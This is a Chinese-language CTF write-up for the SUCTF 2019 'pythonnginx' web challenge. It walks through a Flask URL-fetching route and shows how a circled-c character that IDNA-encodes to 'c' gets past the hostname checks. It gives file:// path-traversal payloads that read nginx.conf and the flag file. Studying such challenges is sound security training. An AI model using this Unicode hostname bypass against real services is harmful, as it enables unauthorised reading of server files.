SUCTF 2019
Web
pythonnginx
通过查看源代码可以发现以下内容。
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url") # 设 url=https://xxx.com/index.php
host = parse.urlparse(url).hostname # xxx.com
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url)) # ['https', 'xxx.com', '/index.php', '', '']
host = parts[1] # xxx.com
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
</code>
# <!-- Dont worry about the suctf.cc. Go on! -->
# <!-- Do you know the nginx? -->
本题需要绕过第一层和第二层的域名判断,并且在经历一次 idna 编码后的第三层中又要符合 host 名为 suctf.cc
,idna 的例子如下。
print('ⓒ'.encode('idna').decode('utf-8'))
# c
因此可以通过版权符号来绕过第一层和第二层的绕过并且又符合 host 名为 suctf.cc
。又因为题目中包含提示 Do you know the nginx
故需要从 nginx 的相关文件中来找 flag ,最后可以在 /usr/local/nginx/conf/nginx.conf
中找到相关信息,Payload 以及回显如下所示。
# url=file://suctf.cⓒ/../../../../../../../../usr/local/nginx/conf/nginx.conf
server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
# location /flag {
# alias /usr/fffffflag;
# }
}
通过构造以下 Payload 即可得到 flag 。
url=file://suctf.cⓒ/../../../../../../../../usr/fffffflag
Last updated